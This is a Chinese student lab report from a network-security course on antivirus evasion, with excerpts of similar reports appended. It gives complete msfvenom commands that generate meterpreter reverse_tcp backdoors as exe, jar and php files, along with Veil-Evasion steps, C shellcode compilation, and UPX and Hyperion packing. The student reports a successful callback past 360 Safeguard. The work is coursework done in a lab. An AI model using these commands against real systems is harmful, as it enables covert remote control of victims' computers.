2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践

20165107 Exp3 免杀原理与实践

实验要求

1、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧

2、通过组合应用各种技术实现恶意代码免杀

3、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
  • 启发式恶意软件检测:根据些片面特征去推断,通常不精确。
  • 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

(2)免杀是做什么?

  • 让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。

(3)免杀的基本方法有哪些?

  • 改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。
  • 改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  1. 正确使用msf编码器,生成exe文件。在实验二中使用msf生成了后门程序,我们可以使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描。

           VirusTotal扫描结果如下:

Virscan网站的扫描结果如下:

由此可见,不加任何处理的后门程序可以被大多数杀毒软件检测到。

下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使‘\x00‘不出现在shellcode中,因为shellcode以‘\x00‘为结束符。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.150.132 LPORT=5107 -f exe > met-encoded.exe

扫描一下:

  • 十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.150.132 LPORT=5107 -f exe > met-encoded10.exe

扫描一下:

可见多次编码对免杀并没有太大的效果。我觉得是因为编码器使用默认参数或模板,有一定的固定特征。一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。

2、msfvenom生成jar文件

  • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.132
    LPORT=5107 x> lyl_backdoor_java.jar 并进行扫描。

3、msfvenom生成php文件

  • 生成PHP后门程序使用命令:

msfvenom
-p php/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 x> 20165107_backdoor.php

扫描结果如下:

4. 使用veil-evasion生成后门程序及检测

  • 安装veil
  • 用sudo apt-get install veil-evasion命令安装Veil
  • 之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间,输入veil指令,会出现下面这个界面。

use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.150.132,注意此处的IP是KaliIP;
  • 设置端口,命令为:set LPORT 5107
  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5107
  • 进行扫描

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=5107 -f c用c语言生成一段shellcode;

  • 创建一个文件20165107.c,然后将unsigned char buf[]赋值到其中:

  • 使用命令:i686-w64-mingw32-g++ 20165107.c -o 20165107.exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

  • 当想要使用windows上执行该程序时,被电脑的360卫士查杀。

6、加壳

  • 使用c+shellcode+加压缩壳
  • 原理是将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果
  • 使用压缩壳(UPX

给之前的20165107.exe加个壳得到lyl_upxed.exe;

然而杀软依然能检测到:

  • 如果我们想要测试一下他是否可以反弹连接又不想被查杀怎么办呢?——可以设置白名单,我用的是360卫士,具体如下:

  • 再进行反弹连接,成功连接!

进行扫描检测,免杀效果不错:

  • 加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/中

输入命令wine hyperion.exe -v lyl_upxed.exe lyl_upxed_Hyperion.exe进行加壳并尝试反弹连接

进行检测:

任务二、通过组合应用各种技术实现恶意代码免杀

首先用C语言生成一段shellcode,然后将C语言文件变成可执行文件,然后进行加壳,先进行压缩壳,然后进行加密壳(具体操作可看上面任务)

然后进行360查杀如图:

有趣的是,比如360杀软都是只在第一次扫描不出来,你再次查杀是就会被发现,我觉得这可能和杀软的特征库更新有关吧。

任务三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 对方电脑的版本:Windows 7x64 虚拟机
  • 杀软名称版本:360安全卫士 11.0.5.2002
  • 文件扫描未检测出问题。
  • 文件双击打开,可运行,杀软未阻止,可实现反弹连接。

实验遇到的问题及解决方法

我在交叉编译时出现以下问题:“Bash: i686-w64-mingw32-g++:未找到命令”

解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。

实践总结与体会

1、开启杀软能绝对防止电脑中恶意代码吗:

答:经过实验,我发现杀软不能检测到的恶意代码还是非常多的,可谓漏洞百出,安装了杀软不能保证计算机网络及系统的绝对安全,杀软的监测能力十分有限。

2、实验体会:

答:本次实验承接上次的后门实验,是实验二的进阶学习,这就需要我们熟练掌握和运用后门技术,通过本次实验,我了解了免杀的概念、免杀的基本方法,了解并使用了VirusTotal、Virscan等工具,实现了最简单的免杀的处理手段,过程十分有趣,在实践中熟习后门和免杀基本操作。同时,我也意识到杀软的监测能力十分有限,所以在以后上网的过程中还需提高网络安全意识,下载软件通过正规渠道,从而降低被植入后门的可能性。我也相信,杀软这只盾也会随着资源库的更新、网安技术的成熟愈发强大坚固,能够给与广大互联网用户更优秀的、更加可信赖的安全防护。

原文地址:https://www.cnblogs.com/3523108059lyl/p/10633461.html

时间: 2024-10-08 16:17:56

2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践的相关文章

2019-2020-2 20175208 张家华 网络对抗技术 Exp3 免杀原理与实践

实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 实验过程 实验准备即相关知识 VirusTotal.Virscan 集

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征

20155302《网络对抗》Exp3 免杀原理与实践

20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过组合应用各种技术实现恶意代码免杀(1分) (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分) 实验内容 报告评分 1.5分报告整体观感 0.5分

20145309《网络对抗技术》免杀原理与实践

20145309<网络对抗技术>免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据特征来检测:对已存在的流行代码特征的提取与比对根据行为来检测:是否有更改注册表行为.是否有设置自启动.是否有修改权限等等 (2)免杀是做什么? 使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀. (3)免杀的基本方法有哪些? 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加:加花指令:就是加一段垃圾代码,但是并不影响程序的正

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155338《网络对抗》Exp3 免杀原理与实践

20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒. 二.使用msf编码器 编码一次,在Kali输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=kali的IP LPORT=533

20155330 《网络攻防》 Exp3 免杀原理与实践

20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码. 基于行为.杀软通过检测程序是否有更改注册表行为.是否有设置自启动.是否有修改权限等等行为进行判断. 免杀是做什么? 恶意代码避免杀毒软件查杀,从而实现入侵. 免杀的基本方法有哪些? 对恶意代码进行加壳 利用shellcode进行编码 实践过程记录 使用msf生成后门程序的检测 将实验二中

2017-2018-4 20155317《网络对抗技术》EXP3 免杀原理与实践

2017-2018-4 20155317<网络对抗技术>EXP3 免杀原理与实践 一.问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 2.实践 (1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 首先尝试一下自己上个实验做出的后门程序 果然是不堪一击...拿去检测一下 装上veil尝试一下结果会如何 : 温馨提示一下,刚开始我是用的自己装的64的ka